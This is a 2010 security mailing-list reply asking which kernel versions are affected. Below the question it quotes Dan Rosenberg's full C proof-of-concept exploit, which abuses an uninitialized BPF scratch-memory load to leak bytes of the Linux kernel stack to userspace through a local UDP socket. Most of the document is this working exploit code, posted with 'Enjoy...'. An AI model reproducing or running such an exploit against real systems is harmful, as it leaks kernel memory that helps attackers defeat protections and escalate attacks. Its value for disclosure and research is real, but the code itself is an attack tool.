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Re: Kernel 0-day


From: James Lay <jlay () slave-tothe-box net>
Date: Wed, 10 Nov 2010 12:05:17 -0700

What kernel version(s) is/are impacted?  Tried on one and no workie.

James


On 11/9/10 3:18 PM, "Dan Rosenberg" <dan.j.rosenberg () gmail com> wrote:

Enjoy...

-Dan


/*
* You've done it.  After hours of gdb and caffeine, you've finally got a
shell
* on your target's server.  Maybe next time they will think twice about
* running MyFirstCompSciProjectFTPD on a production machine.  As you take
* another sip of Mountain Dew and pick some of the cheetos out of your
beard,
* you begin to plan your next move - it's time to tackle the kernel.
*
* What should be your goal?  Privilege escalation?  That's impossible,
there's
* no such thing as a privilege escalation vulnerability on Linux.
Denial of
* service?  What are you, some kind of script kiddie?  No, the answer is
* obvious.  You must read the uninitialized bytes of the kernel stack,
since
* these bytes contain all the secrets of the universe and the meaning of
life.
*
* How can you accomplish this insidious feat?  You immediately discard
the
* notion of looking for uninitialized struct members that are copied
back to
* userspace, since you clearly need something far more elite.  In order
to
* prove your superiority, your exploit must be as sophisticated as your
taste
* in obscure electronic music.  After scanning the kernel source for good
* candidates, you find your target and begin to code...
*
* by Dan Rosenberg
*
* Greets to kees, taviso, jono, spender, hawkes, and bla
*
*/

#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/filter.h>

#define PORT 37337

int transfer(int sendsock, int recvsock)
{

   struct sockaddr_in addr;
   char buf[512];
   int len = sizeof(addr);

   memset(buf, 0, sizeof(buf));
   
   if (fork())
       return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr,
&len);

   sleep(1);

   memset(&addr, 0, sizeof(addr));
   addr.sin_family = AF_INET;
   addr.sin_port = htons(PORT);
   addr.sin_addr.s_addr = inet_addr("127.0.0.1");
   
   sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);

   exit(0);

}

int main(int argc, char * argv[])
{

   int sendsock, recvsock, ret;
   unsigned int val;
   struct sockaddr_in addr;
   struct sock_fprog fprog;
   struct sock_filter filters[5];

   if (argc != 2) {
       printf("[*] Usage: %s offset (0-63)\n", argv[0]);
       return -1;
   }

   val = atoi(argv[1]);

   if (val > 63) {
       printf("[*] Invalid byte offset (must be 0-63)\n");
       return -1;
   }

   recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
   sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

   if (recvsock < 0 || sendsock < 0) {
       printf("[*] Could not create sockets.\n");
       return -1;
   }

   memset(&addr, 0, sizeof(addr));
   addr.sin_family = AF_INET;
   addr.sin_port = htons(PORT);
   addr.sin_addr.s_addr = htonl(INADDR_ANY);

   if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
       printf("[*] Could not bind socket.\n");
       return -1;
   }

   memset(&fprog, 0, sizeof(fprog));
   memset(filters, 0, sizeof(filters));

   filters[0].code = BPF_LD|BPF_MEM;
   filters[0].k = (val & ~0x3) / 4;

   filters[1].code = BPF_ALU|BPF_AND|BPF_K;
   filters[1].k = 0xff << ((val % 4) * 8);

   filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
   filters[2].k = (val % 4) * 8;

   filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
   filters[3].k = 256;

   filters[4].code = BPF_RET|BPF_A;

   fprog.len = 5;
   fprog.filter = filters;

   if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog,
sizeof(fprog)) < 0) {
       printf("[*] Failed to install filter.\n");
       return -1;
   }

   ret = transfer(sendsock, recvsock);

   printf("[*] Your byte: 0x%.02x\n", ret - 248);

}




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